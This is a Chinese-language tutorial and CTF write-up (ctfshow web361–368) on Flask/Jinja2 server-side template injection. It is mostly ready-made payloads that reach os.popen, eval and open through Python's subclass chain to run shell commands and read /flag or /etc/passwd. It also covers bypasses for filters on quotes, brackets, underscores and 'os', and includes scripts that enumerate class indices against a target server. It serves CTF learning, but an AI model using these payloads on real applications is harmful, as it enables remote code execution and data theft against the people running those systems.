Python Flask SSTI

基础知识

这里要注意,python2和python3以及各个版本、不同环境之下,回到基类的方法和子类的索引是不一样的,要学会脚本的使用,查找需要的子类,注意分析当前环境是python2还是python3

魔术方法

__class__ 用来查看变量所属的类根据前面的变量形式可以得到其所属的类__class__ 是类的一个内置属性返回 <type 'type'>  也是类的实例的属性表示实例对象的类__mro__  查找当前类对象的所有继承类,获取一个类的调用顺序
__subclasses__  查看当前类的子类组成的列表
__globals__  会以字典类型返回当前位置的全部模块方法和全局变量用于配合init使用
__init__  类的初始化所有自带带类都包含init方法常用他当跳板来调用globals
__base__ 沿着父子类的关系往上走一个以字符串的形式返回
__bases__ 以元组的形式返回
__dict__ 保存类实例或对象实例的属性变量键值对字典

__builtin__模块

首先__builtins__是一个包含了大量内置函数的一个模块,我们平时用python的时候之所以可以直接使用一些函数比如abs,max,就是因为__builtins__这类模块在Python启动时为我们导入了

它们有一个名字,叫内建函数。

__builtins__与__builtin__的区别:

他们俩的深入区别主要要看是否是在主模块下进行的操作

1、如果是在主模块下进行操作,那两者就没有区别

2、如果不是在主模块中进行操作,builtins__就是对__builtin.__dict__的一个引用

常用子类

利用eval函数

可以用来执行命令的类有很多,其基本原理就是遍历含有eval函数即os模块的子类,利用这些子类中的eval函数即os模块执行命令。

warnings.catch_warnings
WarningMessage
codecs.IncrementalEncoder
codecs.IncrementalDecoder
codecs.StreamReaderWriter
os._wrap_close
reprlib.Repr
weakref.finalize
etc.

利用的payload举例
{{''.__class__.__bases__[0].__subclasses__()[166].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}+

利用os模块

Python的 os 模块中有system和popen这两个函数可用来执行命令。其中system()函数执行命令是没有回显的,我们可以使用system()函数配合curl外带数据;popen()函数执行命令有回显。所以比较常用的函数为popen()函数,而当popen()函数被过滤掉时,可以使用system()函数代替。

首先编写脚本遍历目标Python环境中含有os模块的类的索引号,随便挑一个类构造payload执行命令即可:

{{''.__class__.__bases__[0].__subclasses__()[79].__init__.__globals__['os'].popen('ls /').read()}} 

但是该方法遍历得到的类不准确,因为一些不相关的类名中也存在字符串 “os”,所以我们还要探索更有效的方法。

我们可以看到,即使是使用os模块执行命令,其也是调用的os模块中的popen函数,那我们也可以直接调用popen函数,存在popen函数的类一般是 os._wrap_close,但也不绝对。由于目标Python环境的不同,我们还需要遍历一下。

利用popen 函数

首先编写脚本遍历目标Python环境中含有 popen 函数的类的索引号

直接构造payload即可:

{{''.__class__.__bases__[0].__subclasses__()[117].__init__.__globals__['popen']('ls /').read()}}

利用importlib 类

除了上面的方法外,我们还可以直接导入os模块,python有一个importlib类,可用load_module来导入你需要的模块。

Python 中存在 <class '_frozen_importlib.BuiltinImporter'> 类,目的就是提供 Python 中 import 语句的实现(以及 __import__ 函数)。我么可以直接利用该类中的load_module将os模块导入,从而使用 os 模块执行命令。

首先编写脚本遍历目标Python环境中 importlib 类的索引号

构造如下payload即可执行命令:

{{[].__class__.__base__.__subclasses__()[69]["load_module"]("os")["popen"]("ls /").read()}}

利用linecache 函数

linecache 这个函数可用于读取任意一个文件的某一行,而这个函数中也引入了 os 模块,所以我们也可以利用这个 linecache 函数去执行命令。

首先编写脚本遍历目标Python环境中含有 linecache 这个函数的子类的索引号

随便挑一个子类构造payload即可:

{{[].__class__.__base__.__subclasses__()[168].__init__.__globals__.linecache.os.popen('ls /').read()}}
{{[].__class__.__base__.__subclasses__()[168].__init__.__globals__['linecache']['os'].popen('ls /').read()}}

利用subprocess.Popen 类

从python2.4版本开始,可以用 subprocess 这个模块来产生子进程,并连接到子进程的标准输入/输出/错误中去,还可以得到子进程的返回值。

subprocess 意在替代其他几个老的模块或者函数,比如:os.systemos.popen 等函数。

查找subprocess索引

则构造如下payload执行命令即可:

{{[].__class__.__base__.__subclasses__()[245]('ls /',shell=True,stdout=-1).communicate()[0].strip()}} 

遍历脚本

get

import requests

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}
#http请求头,可以用抓包工具抓一份自己的。
for i in range(500):
    url = "http://xxx.xxx.xxx.xxx:xxxx/?get参数={{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"

    res = requests.get(url=url,headers=headers)
    if 'FileLoader' in res.text: #以FileLoader为例
        print(i)

post

import requests

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}
#http请求头,可以用抓包工具抓一份自己的。
for i in range(500):
    url = "http://xxx.xxx.xxx.xxx:xxxx/"
    postPara = {"post参数":"{{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"}
    res = requests.post(url=url,headers=headers,data=postPara)
    if 'FileLoader' in res.text: #以FileLoader为例,查找其他命令时就用其他子类
        print(i)

基础思路

1.随便找一个内置类对象用__class__拿到他所对应的类 2.用__bases__拿到基类(<class ‘object’>) 3.用__subclasses__()拿到子类列表 4.在子类列表中直接寻找可以利用的类getshell

对象→类→基本类→子类→__init__方法→__globals__属性→__builtins__属性→eval函数

细说

‘‘返回str,[]返回list,{}返回truple,是不一样的,分别对应字符串、列表、字典吧,加上base或mro寻找基类的话都是能找到object类

(等再回头想想,有这么一句话:#python一切皆对象,__class__方法可以获取当前对象(实例)的类,那意思是不是我们输入的’’ () [] {}相当于自己构造的一个对象,然后用__class__之类的再去做类的级别之间的跳跃操作,我看一些文章在讲SSTI的时候是运行一个脚本,输出可利用的类外还输出他是第几个,一开始我以为是在题目环境运行,想了想不对,貌似这个就是本地找第几个,因为是写死了的)

那么这个object类是何方神圣,我又查了一下,继承object 类的是新式类,不继承 object 类的是经典类,在3.x里object已经做为所有东西的基类了。意思应该是作为一个跳板来用的,也就是跳到太太太爷爷辈,然后再从太爷爷那里往下找可以执行命令的类和方法,目前我是这么理解的

[].__class__.__base__
''.__class__.__mro__[2]
().__class__.__base__
{}.__class__.__base__

request.__class__.__mro__[8]   //针对jinjia2/flask为[9]适用
或者
[].__class__.__bases__[0]       //其他的类似

找到太爷爷类object以后,就可以借助这个跳板看看哪个儿子类有用

object.__subclasses__() 返回object的子类,不加括号的话返回的是地址

image-20230603210209327

web361

这里以ctfshow web361为例

image-20230603210204846

接下来这种就一气呵成找到第133个类,<class ‘os._wrap_close’>,init初始化(所有自带带类都包含init方法,常用他当跳板来调用globals),用globals全局来查找所有的方法及变量及参数。

image-20230603210157609

这个popen函数貌似也是用来执行命令的

import os
cmd="/sbin/partx /dev/sdb"
result_list=os.popen(cmd)
print result_list

执行结果如下,返回了一个文件地址:
<open file '/sbin/partx /dev/sdb', mode 'r' at 0x7f4b0f0fe810>

Python的 os 模块中有system和popen这两个函数可用来执行命令。其中system()函数执行命令是没有回显的,我们可以使用system()函数配合curl外带数据;popen()函数执行命令有回显。所以比较常用的函数为popen()函数,而当popen()函数被过滤掉时,可以使用system()函数代替。

执行的结果用read()读出

[132].init.globals[“popen”](“cat /f*”).read()

判断漏洞,貌似是有一些方式判断出是那个框架的

image-20230603210146693

image-20230603210138238

Payload

{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__["popen"]("cat /f*").read()}}

WEB362

上一题的payload不能用了

img

貌似是那个数字不对

然后我又找到了这个类

img

到这里还是不报错的

img

到后面加命令就返回500,不知道是不是过滤

这里用一个新方式

__builtin__模块:

首先__builtins__是一个包含了大量内置函数的一个模块,我们平时用python的时候之所以可以直接使用一些函数比如abs,max,就是因为__builtins__这类模块在Python启动时为我们导入了

它们有一个名字,叫内建函数。

__builtins__与__builtin__的区别:

他们俩的深入区别主要要看是否是在主模块下进行的操作

1、如果是在主模块下进行操作,那两者就没有区别

2、如果不是在主模块中进行操作,builtins__就是对__builtin.__dict__的一个引用

下面是wp里给的一个payload

name={{[].__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /f*").read()')}}

试出了一个,感觉这么着对理解是有帮助的

Python 中存在 <class ‘_frozen_importlib.BuiltinImporter’> 类,目的就是提供 Python 中 import 语句的实现(以及 import 函数)。那么可以直接利用该类中的load_module将os模块导入,从而使用 os 模块执行命令。

?name={{[].__class__.__base__.__subclasses__()[84]["load_module"]("os")["popen"]("ls /").read()}}

写了个小脚本,因为题目中类的排序很难数,比方说这里我想利用warnings.catch_warnings这个类,脚本算出他是第185个

import requests
url='http://170d6d7d-d1bd-427e-b28d-de543f460758.challenge.ctf.show/'
p={'name':'{{[].__class__.__base__.__subclasses__()}}'}
res=requests.get(url,params=p)
ress=res.text.split('&lt;class')
num=0
for i in ress:
    num+=1
    # print(i)
    if 'warnings.catch_warnings' in i:
        print(num-1,ress[num-1])

那么就可以这么用

img

同样的,还可以整出别的活

img

WEB363

说是过滤了引号

其实也是比较好搞的

  • request绕过:

flask中存在着request内置对象可以得到请求的信息,request可以用5种不同的方式来请求信息,我们可以利用他来传递参数绕过

request.args.name request.cookies.name request.headers.name request.values.name request.form.name

payload如下

GET方式,利用request.args传递参数

{{().class.bases[0].subclasses()[213].init.globals.builtinsrequest.args.arg1.read()}}&arg1=open&arg2=/etc/passwd

POST方式,利用request.values传递参数

{{().class.bases[0].subclasses()[40].init.globals.builtinsrequest.values.arg1.read()}} post:arg1=open&arg2=/etc/passwd

Cookie方式,利用request.cookies传递参数

{{().class.bases[0].subclasses()[40].init.globals.builtinsrequest.cookies.arg1.read()}} Cookie:arg1=open;arg2=/etc/passwd

可以看到,关键点是原先的__init__.globals[’builtins’][’eval’]

变成 init.globals.builtinsrequest.cookies.arg1

Payload

?name={{[].__class__.__base__.__subclasses__()[80].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2).read()}}&arg1=open&arg2=/flag

而使用chr也是可以绕的

{% set chr = ().__class__.__base__.__subclasses__()[7].__init__.__globals__.__builtins__.chr %}{{().__class__.__base__.__subclasses__()[257].__init__.__globals__.popen(chr(119)%2bchr(104)%2bchr(111)%2bchr(97)%2bchr(109)%2bchr(105)).read()}}

WEB364

过滤了args

这里我本来想用post的方式看看能不能绕,但是好像说这种方式不被允许

img

request.cookies.x1代替request.args.x1

这么着是可以的,还是这样好理解一些

?name={{[].class.base.subclasses()[80].init.globals.builtinsrequest.cookies.a.read()}}

Cookie:

img

WEB365

这里它过滤了中括号,我们看原来的payload

?name={{[].class.base.subclasses()[80].init.globals.builtinsrequest.cookies.a.read()}}

那么开头那里的[]得换成别的,另外在取子类的序号我们用的也是中括号,看看有没有别的不用中括号的办法取到第80个子类

貌似还是有很多办法的

img

但是后面的payload加上去以后就不行了,这里我把requests那里的中括号换成了小括号,看来是不太行

自己整了半天顺着这条路还是没做出来,看来得用点新东西

  • 方法一、values传参
?name={{lipsum.__globals__.os.popen(request.values.ocean).read()}}&ocean=cat /flag

lipsum

flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.globals[‘os’].popen(’ls’).read()}}

可以发现这种姿势还是挺简洁有效的,我们来对比一下这个例子和上面的payload,

payload里面在引用os模块的时候用的是. ,算是绕过中括号过滤的一种方式,至于后面的request.values.ocean,原本我以为requests.values是专门用来post传参的,现在知道还是能用来get传参的

  • 方法二、cookie传参
# cookie 可以使用
?name={{url_for.__globals__.os.popen(request.cookies.c).read()}}
Cookie:c=cat /flag

url_for:

flask的一个方法,可以用于得到__builtins__,而且url_for.globals[’builtins’]含有current_app

hackbar里给的payload是这样的:{{url_for.globals.builtinsimport.popen(’ls’).read()}}

这里我这么写也是可以的:

只是把方法一的lipsum替换成url_for,因为我感觉这俩确实比较像

?name={{url_for.globals.os.popen(request.values.ocean).read()}}&ocean=cat /flag

甚至我这样写还是可以的:

?name={{url_for.class.base.subclasses().pop(132).init.globals.popen(request.values.ocean).read()}}&ocean=cat /flag

这最后一种写法也是和前面的做法呼应上了,pop(132)取到<class ‘os._wrap_close’>,用pop的原因在于绕过中括号的过滤,我们第一题的payload是这样{{’’.class.base.subclasses()[132].init.globals[“popen”](“cat /f*”).read()}} ,可以拿来对比一下,这里用的是同一个子类,主要区别还是对中括号的绕过这方面,用点号.直接取属性(方法)popen,而不是用[“popen”]

  • 方法三、字符串拼接

中括号可以拿点绕过,拿__getitem__等绕过都可以

通过 getitem()构造任意字符,比如

?name={{config.str().getitem(22)}} # 就是22

?name={{url_for.__globals__.os.popen(config.__str__().__getitem__(22)~config.__str__().__getitem__(40)~config.__str__().__getitem__(23)~config.__str__().__getitem__(7)~config.__str__().__getitem__(279)~config.__str__().__getitem__(4)~config.__str__().__getitem__(41)~config.__str__().__getitem__(40)~config.__str__().__getitem__(6)
).read()}}

WEB366

来看366

过滤了单双引号、args、中括号[]、下划线

下划线没了还算一个重大变化,看看再怎么绕过

貌似办法和绕过引号是一样的,通过request

因为后端只检测 name 传参的部分,所以其他部分就可以传入任意字符,和 rce 绕过一样

?name={{lipsum|attr(request.values.a)|attr(request.values.b)(request.values.c)|attr(request.values.d)(request.values.ocean)|attr(request.values.f)()}}&ocean=cat /flag&a=__globals__&b=__getitem__&c=os&d=popen&f=read

这个payload用了|attr() 绕过 点 . ,|attr() 配合其他姿势可同时绕过双下划线 __ 、引号、点 .[ 等。其实也是好解释的,找一个之前的下划线用得少的payload替换一下就可以了,尤其是下面那个用request.cookie的姿势,只替换了一个地方,很直观

().__class__   相当于  ()|attr("__class__")

通过request.cookie

?name={{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}

cookie:a=__globals__;b=cat /flag

原型:?name={{lipsum.globals.os.popen(request.values.ocean).read()}}&ocean=cat /flag

WEB367

过滤了os

这个思路和上面那个题一样的,我不把os放在name里面就行了

这里我想的是这样的:

?name={{lipsum|attr(request.values.a)(request.values.b).popen(request.values.c).read()}}&a=globals&b=os&c=cat /flag

但是不行,那个os那里用的是一个.get()而不是|attr(),并且.get()这个结构前面的要额外用一个括号把它整个包起来

?name={{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}&a=globals&b=os&c=cat /flag

WEB368

过滤单双引号、args、中括号[]、下划线、os、{{

只过滤了两个左括号,没有过滤 {%

{%print(......)%} 的形式来代替{{ }}

Payload

?name={%print(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read() %}&a=__globals__&b=os&c=cat /flag

payload

读文件

1.''.__class__.__mro__[-1].__subclasses__()[40]('/flag').read()
# 由于python3已经没有file了,所以使用open代替,open在__builtins__下
2.''.__class__.__mro__[-1].__subclasses__()[75].__init__.__globals__['__builtins__']['open']('/flag').read()
# 由于python3中取消了file,所以使用open代替

写文件

''.__class__.__mro__[-1].__subclasses__()[40]('/flag','w').write('<content>')

执行命令

1.__import__('os').system('[command]')
2.''.__class__.__mro__[-1].__subclasses__()[75].__init__.__globals__['__builtins__']['eval']("__import__('os').system('ls')")
# 此条payload也是找到重载再通过一层层去找所属的子类列表,然后去调用,注意,()和[]的使用方法,注意,此条指令通过url栏传入不会输出内容
3.''.__class__.__mro__[-1].__subclasses__()[75].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")
# 此条是有回显的

参考文章

https://www.cnblogs.com/hetianlab/p/14154635.html

https://blog.csdn.net/miuzzx/article/details/110220425

https://www.cnblogs.com/20175211lyz/p/11425368.html

https://blog.csdn.net/new_abc/article/details/48091721

https://forum.butian.net/share/1371

0%